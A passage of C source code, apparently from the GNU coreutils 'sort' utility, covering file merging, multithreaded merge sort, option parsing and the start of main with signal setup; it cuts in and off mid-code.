line->length; if (key) { temp.keybeg = temp.text + (line->keybeg - line->text); temp.keylim = temp.text + (line->keylim - line->text); } } xfclose (fp, file_name); free (buf.buf); free (temp.text); return ordered; } /* Open FILES (there are NFILES of them) and store the resulting array of stream pointers into (*PFPS). Allocate the array. Return the number of successfully opened files, setting errno if this value is less than NFILES. */ static size_t open_input_files (struct sortfile *files, size_t nfiles, FILE ***pfps) { FILE **fps = *pfps = xnmalloc (nfiles, sizeof *fps); int i; /* Open as many input files as we can. */ for (i = 0; i < nfiles; i++) { fps[i] = (files[i].temp && files[i].temp->state != UNCOMPRESSED ? open_temp (files[i].temp) : stream_open (files[i].name, "r")); if (!fps[i]) break; } return i; } /* Merge lines from FILES onto OFP. NTEMPS is the number of temporary files (all of which are at the start of the FILES array), and NFILES is the number of files; 0 <= NTEMPS <= NFILES <= NMERGE. FPS is the vector of open stream corresponding to the files. Close input and output streams before returning. OUTPUT_FILE gives the name of the output file. If it is NULL, the output file is standard output. */ static void mergefps (struct sortfile *files, size_t ntemps, size_t nfiles, FILE *ofp, char const *output_file, FILE **fps) { struct buffer *buffer = xnmalloc (nfiles, sizeof *buffer); /* Input buffers for each file. */ struct line saved; /* Saved line storage for unique check. */ struct line const *savedline = NULL; /* &saved if there is a saved line. */ size_t savealloc = 0; /* Size allocated for the saved line. */ struct line const **cur = xnmalloc (nfiles, sizeof *cur); /* Current line in each line table. */ struct line const **base = xnmalloc (nfiles, sizeof *base); /* Base of each line table. */ size_t *ord = xnmalloc (nfiles, sizeof *ord); /* Table representing a permutation of fps, such that cur[ord[0]] is the smallest line and will be next output. */ size_t i; size_t j; size_t t; struct keyfield const *key = keylist; saved.text = NULL; /* Read initial lines from each input file. */ for (i = 0; i < nfiles; ) { initbuf (&buffer[i], sizeof (struct line), MAX (merge_buffer_size, sort_size / nfiles)); if (fillbuf (&buffer[i], fps[i], files[i].name)) { struct line const *linelim = buffer_linelim (&buffer[i]); cur[i] = linelim - 1; base[i] = linelim - buffer[i].nlines; i++; } else { /* fps[i] is empty; eliminate it from future consideration. */ xfclose (fps[i], files[i].name); if (i < ntemps) { ntemps--; zaptemp (files[i].name); } free (buffer[i].buf); --nfiles; for (j = i; j < nfiles; ++j) { files[j] = files[j + 1]; fps[j] = fps[j + 1]; } } } /* Set up the ord table according to comparisons among input lines. Since this only reorders two items if one is strictly greater than the other, it is stable. */ for (i = 0; i < nfiles; ++i) ord[i] = i; for (i = 1; i < nfiles; ++i) if (0 < compare (cur[ord[i - 1]], cur[ord[i]])) t = ord[i - 1], ord[i - 1] = ord[i], ord[i] = t, i = 0; /* Repeatedly output the smallest line until no input remains. */ while (nfiles) { struct line const *smallest = cur[ord[0]]; /* If uniquified output is turned on, output only the first of an identical series of lines. */ if (unique) { if (savedline && compare (savedline, smallest)) { savedline = NULL; write_line (&saved, ofp, output_file); } if (!savedline) { savedline = &saved; if (savealloc < smallest->length) { do if (! savealloc) { savealloc = smallest->length; break; } while ((savealloc *= 2) < smallest->length); free (saved.text); saved.text = xmalloc (savealloc); } saved.length = smallest->length; memcpy (saved.text, smallest->text, saved.length); if (key) { saved.keybeg = saved.text + (smallest->keybeg - smallest->text); saved.keylim = saved.text + (smallest->keylim - smallest->text); } } } else write_line (smallest, ofp, output_file); /* Check if we need to read more lines into core. */ if (base[ord[0]] < smallest) cur[ord[0]] = smallest - 1; else { if (fillbuf (&buffer[ord[0]], fps[ord[0]], files[ord[0]].name)) { struct line const *linelim = buffer_linelim (&buffer[ord[0]]); cur[ord[0]] = linelim - 1; base[ord[0]] = linelim - buffer[ord[0]].nlines; } else { /* We reached EOF on fps[ord[0]]. */ for (i = 1; i < nfiles; ++i) if (ord[i] > ord[0]) --ord[i]; --nfiles; xfclose (fps[ord[0]], files[ord[0]].name); if (ord[0] < ntemps) { ntemps--; zaptemp (files[ord[0]].name); } free (buffer[ord[0]].buf); for (i = ord[0]; i < nfiles; ++i) { fps[i] = fps[i + 1]; files[i] = files[i + 1]; buffer[i] = buffer[i + 1]; cur[i] = cur[i + 1]; base[i] = base[i + 1]; } for (i = 0; i < nfiles; ++i) ord[i] = ord[i + 1]; continue; } } /* The new line just read in may be larger than other lines already in main memory; push it back in the queue until we encounter a line larger than it. Optimize for the common case where the new line is smallest. */ { size_t lo = 1; size_t hi = nfiles; size_t probe = lo; size_t ord0 = ord[0]; size_t count_of_smaller_lines; while (lo < hi) { int cmp = compare (cur[ord0], cur[ord[probe]]); if (cmp < 0 || (cmp == 0 && ord0 < ord[probe])) hi = probe; else lo = probe + 1; probe = (lo + hi) / 2; } count_of_smaller_lines = lo - 1; for (j = 0; j < count_of_smaller_lines; j++) ord[j] = ord[j + 1]; ord[count_of_smaller_lines] = ord0; } } if (unique && savedline) { write_line (&saved, ofp, output_file); free (saved.text); } xfclose (ofp, output_file); free (fps); free (buffer); free (ord); free (base); free (cur); } /* Merge lines from FILES onto OFP. NTEMPS is the number of temporary files (all of which are at the start of the FILES array), and NFILES is the number of files; 0 <= NTEMPS <= NFILES <= NMERGE. Close input and output files before returning. OUTPUT_FILE gives the name of the output file. Return the number of files successfully merged. This number can be less than NFILES if we ran low on file descriptors, but in this case it is never less than 2. */ static size_t mergefiles (struct sortfile *files, size_t ntemps, size_t nfiles, FILE *ofp, char const *output_file) { FILE **fps; size_t nopened = open_input_files (files, nfiles, &fps); if (nopened < nfiles && nopened < 2) die (_("open failed"), files[nopened].name); mergefps (files, ntemps, nopened, ofp, output_file, fps); return nopened; } /* Merge into T (of size NLINES) the two sorted arrays of lines LO (with NLINES / 2 members), and T - (NLINES / 2) (with NLINES - NLINES / 2 members). T and LO point just past their respective arrays, and the arrays are in reverse order. NLINES must be at least 2. */ static void mergelines (struct line *restrict t, size_t nlines, struct line const *restrict lo) { size_t nlo = nlines / 2; size_t nhi = nlines - nlo; struct line *hi = t - nlo; while (true) if (compare (lo - 1, hi - 1) <= 0) { *--t = *--lo; if (! --nlo) { /* HI must equal T now, and there is no need to copy from HI to T. */ return; } } else { *--t = *--hi; if (! --nhi) { do *--t = *--lo; while (--nlo); return; } } } /* Sort the array LINES with NLINES members, using TEMP for temporary space. Do this all within one thread. NLINES must be at least 2. If TO_TEMP, put the sorted output into TEMP, and TEMP is as large as LINES. Otherwise the sort is in-place and TEMP is half-sized. The input and output arrays are in reverse order, and LINES and TEMP point just past the end of their respective arrays. Use a recursive divide-and-conquer algorithm, in the style suggested by Knuth volume 3 (2nd edition), exercise 5.2.4-23. Use the optimization suggested by exercise 5.2.4-10; this requires room for only 1.5*N lines, rather than the usual 2*N lines. Knuth writes that this memory optimization was originally published by D. A. Bell, Comp J. 1 (1958), 75. */ static void sequential_sort (struct line *restrict lines, size_t nlines, struct line *restrict temp, bool to_temp) { if (nlines == 2) { /* Declare 'swap' as int, not bool, to work around a bug <http://lists.gnu.org/archive/html/bug-coreutils/2005-10/msg00086.html> in the IBM xlc 6.0.0.0 compiler in 64-bit mode. */ int swap = (0 < compare (&lines[-1], &lines[-2])); if (to_temp) { temp[-1] = lines[-1 - swap]; temp[-2] = lines[-2 + swap]; } else if (swap) { temp[-1] = lines[-1]; lines[-1] = lines[-2]; lines[-2] = temp[-1]; } } else { size_t nlo = nlines / 2; size_t nhi = nlines - nlo; struct line *lo = lines; struct line *hi = lines - nlo; sequential_sort (hi, nhi, temp - (to_temp ? nlo : 0), to_temp); if (1 < nlo) sequential_sort (lo, nlo, temp, !to_temp); else if (!to_temp) temp[-1] = lo[-1]; struct line *dest; struct line const *sorted_lo; if (to_temp) { dest = temp; sorted_lo = lines; } else { dest = lines; sorted_lo = temp; } mergelines (dest, nlines, sorted_lo); } } static struct merge_node *init_node (struct merge_node *restrict, struct merge_node *restrict, struct line *, size_t, size_t, bool); /* Create and return a merge tree for NTHREADS threads, sorting NLINES lines, with destination DEST. */ static struct merge_node * merge_tree_init (size_t nthreads, size_t nlines, struct line *dest) { struct merge_node *merge_tree = xmalloc (2 * sizeof *merge_tree * nthreads); struct merge_node *root = merge_tree; root->lo = root->hi = root->end_lo = root->end_hi = NULL; root->dest = NULL; root->nlo = root->nhi = nlines; root->parent = NULL; root->level = MERGE_END; root->queued = false; pthread_mutex_init (&root->lock, NULL); init_node (root, root + 1, dest, nthreads, nlines, false); return merge_tree; } /* Destroy the merge tree. */ static void merge_tree_destroy (size_t nthreads, struct merge_node *merge_tree) { size_t n_nodes = nthreads * 2; struct merge_node *node = merge_tree; while (n_nodes--) { pthread_mutex_destroy (&node->lock); node++; } free (merge_tree); } /* Initialize a merge tree node and its descendants. The node's parent is PARENT. The node and its descendants are taken from the array of nodes NODE_POOL. Their destination starts at DEST; they will consume NTHREADS threads. The total number of sort lines is TOTAL_LINES. IS_LO_CHILD is true if the node is the low child of its parent. */ static struct merge_node * init_node (struct merge_node *restrict parent, struct merge_node *restrict node_pool, struct line *dest, size_t nthreads, size_t total_lines, bool is_lo_child) { size_t nlines = (is_lo_child ? parent->nlo : parent->nhi); size_t nlo = nlines / 2; size_t nhi = nlines - nlo; struct line *lo = dest - total_lines; struct line *hi = lo - nlo; struct line **parent_end = (is_lo_child ? &parent->end_lo : &parent->end_hi); struct merge_node *node = node_pool++; node->lo = node->end_lo = lo; node->hi = node->end_hi = hi; node->dest = parent_end; node->nlo = nlo; node->nhi = nhi; node->parent = parent; node->level = parent->level + 1; node->queued = false; pthread_mutex_init (&node->lock, NULL); if (nthreads > 1) { size_t lo_threads = nthreads / 2; size_t hi_threads = nthreads - lo_threads; node->lo_child = node_pool; node_pool = init_node (node, node_pool, lo, lo_threads, total_lines, true); node->hi_child = node_pool; node_pool = init_node (node, node_pool, hi, hi_threads, total_lines, false); } else { node->lo_child = NULL; node->hi_child = NULL; } return node_pool; } /* Compare two merge nodes A and B for priority. */ static int compare_nodes (void const *a, void const *b) { struct merge_node const *nodea = a; struct merge_node const *nodeb = b; if (nodea->level == nodeb->level) return (nodea->nlo + nodea->nhi) < (nodeb->nlo + nodeb->nhi); return nodea->level < nodeb->level; } /* Lock a merge tree NODE. */ static inline void lock_node (struct merge_node *node) { pthread_mutex_lock (&node->lock); } /* Unlock a merge tree NODE. */ static inline void unlock_node (struct merge_node *node) { pthread_mutex_unlock (&node->lock); } /* Destroy merge QUEUE. */ static void queue_destroy (struct merge_node_queue *queue) { heap_free (queue->priority_queue); pthread_cond_destroy (&queue->cond); pthread_mutex_destroy (&queue->mutex); } /* Initialize merge QUEUE, allocating space suitable for a maximum of NTHREADS threads. */ static void queue_init (struct merge_node_queue *queue, size_t nthreads) { /* Though it's highly unlikely all nodes are in the heap at the same time, the heap should accommodate all of them. Counting a NULL dummy head for the heap, reserve 2 * NTHREADS nodes. */ queue->priority_queue = heap_alloc (compare_nodes, 2 * nthreads); pthread_mutex_init (&queue->mutex, NULL); pthread_cond_init (&queue->cond, NULL); } /* Insert NODE into QUEUE. The caller either holds a lock on NODE, or does not need to lock NODE. */ static void queue_insert (struct merge_node_queue *queue, struct merge_node *node) { pthread_mutex_lock (&queue->mutex); heap_insert (queue->priority_queue, node); node->queued = true; pthread_cond_signal (&queue->cond); pthread_mutex_unlock (&queue->mutex); } /* Pop the top node off the priority QUEUE, lock the node, return it. */ static struct merge_node * queue_pop (struct merge_node_queue *queue) { struct merge_node *node; pthread_mutex_lock (&queue->mutex); while (! (node = heap_remove_top (queue->priority_queue))) pthread_cond_wait (&queue->cond, &queue->mutex); pthread_mutex_unlock (&queue->mutex); lock_node (node); node->queued = false; return node; } /* Output LINE to TFP, unless -u is specified and the line compares equal to the previous line. TEMP_OUTPUT is the name of TFP, or is null if TFP is standard output. This function does not save the line for comparison later, so it is appropriate only for internal sort. */ static void write_unique (struct line const *line, FILE *tfp, char const *temp_output) { if (unique) { if (saved_line.text && ! compare (line, &saved_line)) return; saved_line = *line; } write_line (line, tfp, temp_output); } /* Merge the lines currently available to a NODE in the binary merge tree. Merge a number of lines appropriate for this merge level, assuming TOTAL_LINES is the total number of lines. If merging at the top level, send output to TFP. TEMP_OUTPUT is the name of TFP, or is null if TFP is standard output. */ static void mergelines_node (struct merge_node *restrict node, size_t total_lines, FILE *tfp, char const *temp_output) { struct line *lo_orig = node->lo; struct line *hi_orig = node->hi; size_t to_merge = MAX_MERGE (total_lines, node->level); size_t merged_lo; size_t merged_hi; if (node->level > MERGE_ROOT) { /* Merge to destination buffer. */ struct line *dest = *node->dest; while (node->lo != node->end_lo && node->hi != node->end_hi && to_merge--) if (compare (node->lo - 1, node->hi - 1) <= 0) *--dest = *--node->lo; else *--dest = *--node->hi; merged_lo = lo_orig - node->lo; merged_hi = hi_orig - node->hi; if (node->nhi == merged_hi) while (node->lo != node->end_lo && to_merge--) *--dest = *--node->lo; else if (node->nlo == merged_lo) while (node->hi != node->end_hi && to_merge--) *--dest = *--node->hi; *node->dest = dest; } else { /* Merge directly to output. */ while (node->lo != node->end_lo && node->hi != node->end_hi && to_merge--) { if (compare (node->lo - 1, node->hi - 1) <= 0) write_unique (--node->lo, tfp, temp_output); else write_unique (--node->hi, tfp, temp_output); } merged_lo = lo_orig - node->lo; merged_hi = hi_orig - node->hi; if (node->nhi == merged_hi) { while (node->lo != node->end_lo && to_merge--) write_unique (--node->lo, tfp, temp_output); } else if (node->nlo == merged_lo) { while (node->hi != node->end_hi && to_merge--) write_unique (--node->hi, tfp, temp_output); } } /* Update NODE. */ merged_lo = lo_orig - node->lo; merged_hi = hi_orig - node->hi; node->nlo -= merged_lo; node->nhi -= merged_hi; } /* Into QUEUE, insert NODE if it is not already queued, and if one of NODE's children has available lines and the other either has available lines or has exhausted its lines. */ static void queue_check_insert (struct merge_node_queue *queue, struct merge_node *node) { if (! node->queued) { bool lo_avail = (node->lo - node->end_lo) != 0; bool hi_avail = (node->hi - node->end_hi) != 0; if (lo_avail ? hi_avail || ! node->nhi : hi_avail && ! node->nlo) queue_insert (queue, node); } } /* Into QUEUE, insert NODE's parent if the parent can now be worked on. */ static void queue_check_insert_parent (struct merge_node_queue *queue, struct merge_node *node) { if (node->level > MERGE_ROOT) { lock_node (node->parent); queue_check_insert (queue, node->parent); unlock_node (node->parent); } else if (node->nlo + node->nhi == 0) { /* If the MERGE_ROOT NODE has finished merging, insert the MERGE_END node. */ queue_insert (queue, node->parent); } } /* Repeatedly pop QUEUE for a node with lines to merge, and merge at least some of those lines, until the MERGE_END node is popped. TOTAL_LINES is the total number of lines. If merging at the top level, send output to TFP. TEMP_OUTPUT is the name of TFP, or is null if TFP is standard output. */ static void merge_loop (struct merge_node_queue *queue, size_t total_lines, FILE *tfp, char const *temp_output) { while (1) { struct merge_node *node = queue_pop (queue); if (node->level == MERGE_END) { unlock_node (node); /* Reinsert so other threads can pop it. */ queue_insert (queue, node); break; } mergelines_node (node, total_lines, tfp, temp_output); queue_check_insert (queue, node); queue_check_insert_parent (queue, node); unlock_node (node); } } static void sortlines (struct line *restrict, size_t, size_t, struct merge_node *, struct merge_node_queue *, FILE *, char const *); /* Thread arguments for sortlines_thread. */ struct thread_args { /* Source, i.e., the array of lines to sort. This points just past the end of the array. */ struct line *lines; /* Number of threads to use. If 0 or 1, sort single-threaded. */ size_t nthreads; /* Number of lines in LINES and DEST. */ size_t const total_lines; /* Merge node. Lines from this node and this node's sibling will merged to this node's parent. */ struct merge_node *const node; /* The priority queue controlling available work for the entire internal sort. */ struct merge_node_queue *const queue; /* If at the top level, the file to output to, and the file's name. If the file is standard output, the file's name is null. */ FILE *tfp; char const *output_temp; }; /* Like sortlines, except with a signature acceptable to pthread_create. */ static void * sortlines_thread (void *data) { struct thread_args const *args = data; sortlines (args->lines, args->nthreads, args->total_lines, args->node, args->queue, args->tfp, args->output_temp); return NULL; } /* Sort lines, possibly in parallel. The arguments are as in struct thread_args above. The algorithm has three phases: node creation, sequential sort, and binary merge. During node creation, sortlines recursively visits each node in the binary merge tree and creates a NODE structure corresponding to all the future line merging NODE is responsible for. For each call to sortlines, half the available threads are assigned to each recursive call, until a leaf node having only 1 available thread is reached. Each leaf node then performs two sequential sorts, one on each half of the lines it is responsible for. It records in its NODE structure that there are two sorted sublists available to merge from, and inserts its NODE into the priority queue. The binary merge phase then begins. Each thread drops into a loop where the thread retrieves a NODE from the priority queue, merges lines available to that NODE, and potentially insert NODE or its parent back into the queue if there are sufficient available lines for them to merge. This continues until all lines at all nodes of the merge tree have been merged. */ static void sortlines (struct line *restrict lines, size_t nthreads, size_t total_lines, struct merge_node *node, struct merge_node_queue *queue, FILE *tfp, char const *temp_output) { size_t nlines = node->nlo + node->nhi; /* Calculate thread arguments. */ size_t lo_threads = nthreads / 2; size_t hi_threads = nthreads - lo_threads; pthread_t thread; struct thread_args args = {lines, lo_threads, total_lines, node->lo_child, queue, tfp, temp_output}; if (nthreads > 1 && SUBTHREAD_LINES_HEURISTIC <= nlines && pthread_create (&thread, NULL, sortlines_thread, &args) == 0) { sortlines (lines - node->nlo, hi_threads, total_lines, node->hi_child, queue, tfp, temp_output); pthread_join (thread, NULL); } else { /* Nthreads = 1, this is a leaf NODE, or pthread_create failed. Sort with 1 thread. */ size_t nlo = node->nlo; size_t nhi = node->nhi; struct line *temp = lines - total_lines; if (1 < nhi) sequential_sort (lines - nlo, nhi, temp - nlo / 2, false); if (1 < nlo) sequential_sort (lines, nlo, temp, false); /* Update merge NODE. No need to lock yet. */ node->lo = lines; node->hi = lines - nlo; node->end_lo = lines - nlo; node->end_hi = lines - nlo - nhi; queue_insert (queue, node); merge_loop (queue, total_lines, tfp, temp_output); } } /* Scan through FILES[NTEMPS .. NFILES-1] looking for files that are the same as OUTFILE. If found, replace each with the same temporary copy that can be merged into OUTFILE without destroying OUTFILE before it is completely read. This temporary copy does not count as a merge temp, so don't worry about incrementing NTEMPS in the caller; final cleanup will remove it, not zaptemp. This test ensures that an otherwise-erroneous use like "sort -m -o FILE ... FILE ..." copies FILE before writing to it. It's not clear that POSIX requires this nicety. Detect common error cases, but don't try to catch obscure cases like "cat ... FILE ... | sort -m -o FILE" where traditional "sort" doesn't copy the input and where people should know that they're getting into trouble anyway. Catching these obscure cases would slow down performance in common cases. */ static void avoid_trashing_input (struct sortfile *files, size_t ntemps, size_t nfiles, char const *outfile) { size_t i; bool got_outstat = false; struct stat outstat; struct tempnode *tempcopy = NULL; for (i = ntemps; i < nfiles; i++) { bool is_stdin = STREQ (files[i].name, "-"); bool same; struct stat instat; if (outfile && STREQ (outfile, files[i].name) && !is_stdin) same = true; else { if (! got_outstat) { if (fstat (STDOUT_FILENO, &outstat) != 0) break; got_outstat = true; } same = (((is_stdin ? fstat (STDIN_FILENO, &instat) : stat (files[i].name, &instat)) == 0) && SAME_INODE (instat, outstat)); } if (same) { if (! tempcopy) { FILE *tftp; tempcopy = create_temp (&tftp); mergefiles (&files[i], 0, 1, tftp, tempcopy->name); } files[i].name = tempcopy->name; files[i].temp = tempcopy; } } } /* Scan the input files to ensure all are accessible. Otherwise exit with a diagnostic. Note this will catch common issues with permissions etc. but will fail to notice issues where you can open() but not read(), like when a directory is specified on some systems. Catching these obscure cases could slow down performance in common cases. */ static void check_inputs (char *const *files, size_t nfiles) { size_t i; for (i = 0; i < nfiles; i++) { if (STREQ (files[i], "-")) continue; if (euidaccess (files[i], R_OK) != 0) die (_("cannot read"), files[i]); } } /* Ensure a specified output file can be created or written to, and point stdout to it. Do not truncate the file. Exit with a diagnostic on failure. */ static void check_output (char const *outfile) { if (outfile) { int outfd = open (outfile, O_WRONLY | O_CREAT | O_BINARY, MODE_RW_UGO); if (outfd < 0) die (_("open failed"), outfile); move_fd_or_die (outfd, STDOUT_FILENO); } } /* Merge the input FILES. NTEMPS is the number of files at the start of FILES that are temporary; it is zero at the top level. NFILES is the total number of files. Put the output in OUTPUT_FILE; a null OUTPUT_FILE stands for standard output. */ static void merge (struct sortfile *files, size_t ntemps, size_t nfiles, char const *output_file) { while (nmerge < nfiles) { /* Number of input files processed so far. */ size_t in; /* Number of output files generated so far. */ size_t out; /* nfiles % NMERGE; this counts input files that are left over after all full-sized merges have been done. */ size_t remainder; /* Number of easily-available slots at the next loop iteration. */ size_t cheap_slots; /* Do as many NMERGE-size merges as possible. In the case that nmerge is bogus, increment by the maximum number of file descriptors allowed. */ for (out = in = 0; nmerge <= nfiles - in; out++) { FILE *tfp; struct tempnode *temp = create_temp (&tfp); size_t num_merged = mergefiles (&files[in], MIN (ntemps, nmerge), nmerge, tfp, temp->name); ntemps -= MIN (ntemps, num_merged); files[out].name = temp->name; files[out].temp = temp; in += num_merged; } remainder = nfiles - in; cheap_slots = nmerge - out % nmerge; if (cheap_slots < remainder) { /* So many files remain that they can't all be put into the last NMERGE-sized output window. Do one more merge. Merge as few files as possible, to avoid needless I/O. */ size_t nshortmerge = remainder - cheap_slots + 1; FILE *tfp; struct tempnode *temp = create_temp (&tfp); size_t num_merged = mergefiles (&files[in], MIN (ntemps, nshortmerge), nshortmerge, tfp, temp->name); ntemps -= MIN (ntemps, num_merged); files[out].name = temp->name; files[out++].temp = temp; in += num_merged; } /* Put the remaining input files into the last NMERGE-sized output window, so they will be merged in the next pass. */ memmove (&files[out], &files[in], (nfiles - in) * sizeof *files); ntemps += out; nfiles -= in - out; } avoid_trashing_input (files, ntemps, nfiles, output_file); /* We aren't guaranteed that this final mergefiles will work, therefore we try to merge into the output, and then merge as much as we can into a temp file if we can't. Repeat. */ while (true) { /* Merge directly into the output file if possible. */ FILE **fps; size_t nopened = open_input_files (files, nfiles, &fps); if (nopened == nfiles) { FILE *ofp = stream_open (output_file, "w"); if (ofp) { mergefps (files, ntemps, nfiles, ofp, output_file, fps); break; } if (errno != EMFILE || nopened <= 2) die (_("open failed"), output_file); } else if (nopened <= 2) die (_("open failed"), files[nopened].name); /* We ran out of file descriptors. Close one of the input files, to gain a file descriptor. Then create a temporary file with our spare file descriptor. Retry if that failed (e.g., some other process could open a file between the time we closed and tried to create). */ FILE *tfp; struct tempnode *temp; do { nopened--; xfclose (fps[nopened], files[nopened].name); temp = maybe_create_temp (&tfp, ! (nopened <= 2)); } while (!temp); /* Merge into the newly allocated temporary. */ mergefps (&files[0], MIN (ntemps, nopened), nopened, tfp, temp->name, fps); ntemps -= MIN (ntemps, nopened); files[0].name = temp->name; files[0].temp = temp; memmove (&files[1], &files[nopened], (nfiles - nopened) * sizeof *files); ntemps++; nfiles -= nopened - 1; } } /* Sort NFILES FILES onto OUTPUT_FILE. Use at most NTHREADS threads. */ static void sort (char *const *files, size_t nfiles, char const *output_file, size_t nthreads) { struct buffer buf; IF_LINT (buf.buf = NULL); size_t ntemps = 0; bool output_file_created = false; buf.alloc = 0; while (nfiles) { char const *temp_output; char const *file = *files; FILE *fp = xfopen (file, "r"); FILE *tfp; size_t bytes_per_line; if (nthreads > 1) { /* Get log P. */ size_t tmp = 1; size_t mult = 1; while (tmp < nthreads) { tmp *= 2; mult++; } bytes_per_line = (mult * sizeof (struct line)); } else bytes_per_line = sizeof (struct line) * 3 / 2; if (! buf.alloc) initbuf (&buf, bytes_per_line, sort_buffer_size (&fp, 1, files, nfiles, bytes_per_line)); buf.eof = false; files++; nfiles--; while (fillbuf (&buf, fp, file)) { struct line *line; if (buf.eof && nfiles && (bytes_per_line + 1 < (buf.alloc - buf.used - bytes_per_line * buf.nlines))) { /* End of file, but there is more input and buffer room. Concatenate the next input file; this is faster in the usual case. */ buf.left = buf.used; break; } saved_line.text = NULL; line = buffer_linelim (&buf); if (buf.eof && !nfiles && !ntemps && !buf.left) { xfclose (fp, file); tfp = xfopen (output_file, "w"); temp_output = output_file; output_file_created = true; } else { ++ntemps; temp_output = create_temp (&tfp)->name; } if (1 < buf.nlines) { struct merge_node_queue queue; queue_init (&queue, nthreads); struct merge_node *merge_tree = merge_tree_init (nthreads, buf.nlines, line); sortlines (line, nthreads, buf.nlines, merge_tree + 1, &queue, tfp, temp_output); #ifdef lint merge_tree_destroy (nthreads, merge_tree); queue_destroy (&queue); #endif } else write_unique (line - 1, tfp, temp_output); xfclose (tfp, temp_output); if (output_file_created) goto finish; } xfclose (fp, file); } finish: free (buf.buf); if (! output_file_created) { size_t i; struct tempnode *node = temphead; struct sortfile *tempfiles = xnmalloc (ntemps, sizeof *tempfiles); for (i = 0; node; i++) { tempfiles[i].name = node->name; tempfiles[i].temp = node; node = node->next; } merge (tempfiles, ntemps, ntemps, output_file); free (tempfiles); } reap_all (); } /* Insert a malloc'd copy of key KEY_ARG at the end of the key list. */ static void insertkey (struct keyfield *key_arg) { struct keyfield **p; struct keyfield *key = xmemdup (key_arg, sizeof *key); for (p = &keylist; *p; p = &(*p)->next) continue; *p = key; key->next = NULL; } /* Report a bad field specification SPEC, with extra info MSGID. */ static void badfieldspec (char const *, char const *) ATTRIBUTE_NORETURN; static void badfieldspec (char const *spec, char const *msgid) { error (SORT_FAILURE, 0, _("%s: invalid field specification %s"), _(msgid), quote (spec)); abort (); } /* Report incompatible options. */ static void incompatible_options (char const *) ATTRIBUTE_NORETURN; static void incompatible_options (char const *opts) { error (SORT_FAILURE, 0, _("options '-%s' are incompatible"), opts); abort (); } /* Check compatibility of ordering options. */ static void check_ordering_compatibility (void) { struct keyfield *key; for (key = keylist; key; key = key->next) if (1 < (key->numeric + key->general_numeric + key->human_numeric + key->month + (key->version | key->random | !!key->ignore))) { /* The following is too big, but guaranteed to be "big enough". */ char opts[sizeof short_options]; /* Clear flags we're not interested in. */ key->skipsblanks = key->skipeblanks = key->reverse = false; key_to_opts (key, opts); incompatible_options (opts); } } /* Parse the leading integer in STRING and store the resulting value (which must fit into size_t) into *VAL. Return the address of the suffix after the integer. If the value is too large, silently substitute SIZE_MAX. If MSGID is NULL, return NULL after failure; otherwise, report MSGID and exit on failure. */ static char const * parse_field_count (char const *string, size_t *val, char const *msgid) { char *suffix; uintmax_t n; switch (xstrtoumax (string, &suffix, 10, &n, "")) { case LONGINT_OK: case LONGINT_INVALID_SUFFIX_CHAR: *val = n; if (*val == n) break; /* Fall through. */ case LONGINT_OVERFLOW: case LONGINT_OVERFLOW | LONGINT_INVALID_SUFFIX_CHAR: *val = SIZE_MAX; break; case LONGINT_INVALID: if (msgid) error (SORT_FAILURE, 0, _("%s: invalid count at start of %s"), _(msgid), quote (string)); return NULL; } return suffix; } /* Handle interrupts and hangups. */ static void sighandler (int sig) { if (! SA_NOCLDSTOP) signal (sig, SIG_IGN); cleanup (); signal (sig, SIG_DFL); raise (sig); } /* Set the ordering options for KEY specified in S. Return the address of the first character in S that is not a valid ordering option. BLANKTYPE is the kind of blanks that 'b' should skip. */ static char * set_ordering (char const *s, struct keyfield *key, enum blanktype blanktype) { while (*s) { switch (*s) { case 'b': if (blanktype == bl_start || blanktype == bl_both) key->skipsblanks = true; if (blanktype == bl_end || blanktype == bl_both) key->skipeblanks = true; break; case 'd': key->ignore = nondictionary; break; case 'f': key->translate = fold_toupper; folding = true; break; case 'g': key->general_numeric = true; break; case 'h': key->human_numeric = true; break; case 'i': /* Option order should not matter, so don't let -i override -d. -d implies -i, but -i does not imply -d. */ if (! key->ignore) key->ignore = nonprinting; break; case 'M': key->month = true; break; case 'n': key->numeric = true; break; case 'R': key->random = true; break; case 'r': key->reverse = true; break; case 'V': key->version = true; break; default: return (char *) s; } ++s; } return (char *) s; } /* Initialize KEY. */ static struct keyfield * key_init (struct keyfield *key) { memset (key, 0, sizeof *key); key->eword = SIZE_MAX; return key; } int main (int argc, char **argv) { struct keyfield *key; struct keyfield key_buf; struct keyfield gkey; bool gkey_only = false; char const *s; int c = 0; char checkonly = 0; bool mergeonly = false; char *random_source = NULL; bool need_random = false; size_t nthreads = 0; size_t nfiles = 0; bool posixly_correct = (getenv ("POSIXLY_CORRECT") != NULL); bool obsolete_usage = (posix2_version () < 200112); char **files; char *files_from = NULL; struct Tokens tok; char const *outfile = NULL; initialize_main (&argc, &argv); set_program_name (argv[0]); setlocale (LC_ALL, ""); bindtextdomain (PACKAGE, LOCALEDIR); textdomain (PACKAGE); initialize_exit_failure (SORT_FAILURE); hard_LC_COLLATE = hard_locale (LC_COLLATE); #if HAVE_LANGINFO_CODESET hard_LC_TIME = hard_locale (LC_TIME); #endif /* Get locale's representation of the decimal point. */ { struct lconv const *locale = localeconv (); /* If the locale doesn't define a decimal point, or if the decimal point is multibyte, use the C locale's decimal point. FIXME: add support for multibyte decimal points. */ decimal_point = to_uchar (locale->decimal_point[0]); if (! decimal_point || locale->decimal_point[1]) decimal_point = '.'; /* FIXME: add support for multibyte thousands separators. */ thousands_sep = to_uchar (*locale->thousands_sep); if (! thousands_sep || locale->thousands_sep[1]) thousands_sep = -1; } #if HAVE_MBRTOWC if (MB_CUR_MAX > 1) { inittables = inittables_mb; begfield = begfield_mb; limfield = limfield_mb; skipblanks = skipblanks_mb; getmonth = getmonth_mb; keycompare = keycompare_mb; numcompare = numcompare_mb; } else #endif { inittables = inittables_uni; begfield = begfield_uni; limfield = limfield_uni; skipblanks = skipblanks_uni; getmonth = getmonth_uni; keycompare = keycompare_uni; numcompare = numcompare_uni; } have_read_stdin = false; inittables (); { size_t i; static int const sig[] = { /* The usual suspects. */ SIGALRM, SIGHUP, SIGINT, SIGPIPE, SIGQUIT, SIGTERM, #ifdef SIGPOLL SIGPOLL, #endif #ifdef SIGPROF SIGPROF, #endif #ifdef SIGVTALRM SIGVTALRM, #endif #ifdef SIGXCPU SIGXCPU, #endif #ifdef SIGXFSZ SIGXFSZ, #endif }; enum { nsigs = ARRAY_CARDINALITY (sig) }; #if SA_NOCLDSTOP struct sigaction act; sigemptyset (&caught_signals); for (i = 0; i < nsigs; i++) { sigaction (sig[i], NULL, &act); if (act.sa_handler != SIG_IGN) sigaddset (&caught_signals, sig[i]); } act.sa_handler = sighandler; act.sa_mask = caught_signals; act.sa_flags = 0; for (i = 0; i < nsigs; i++) if 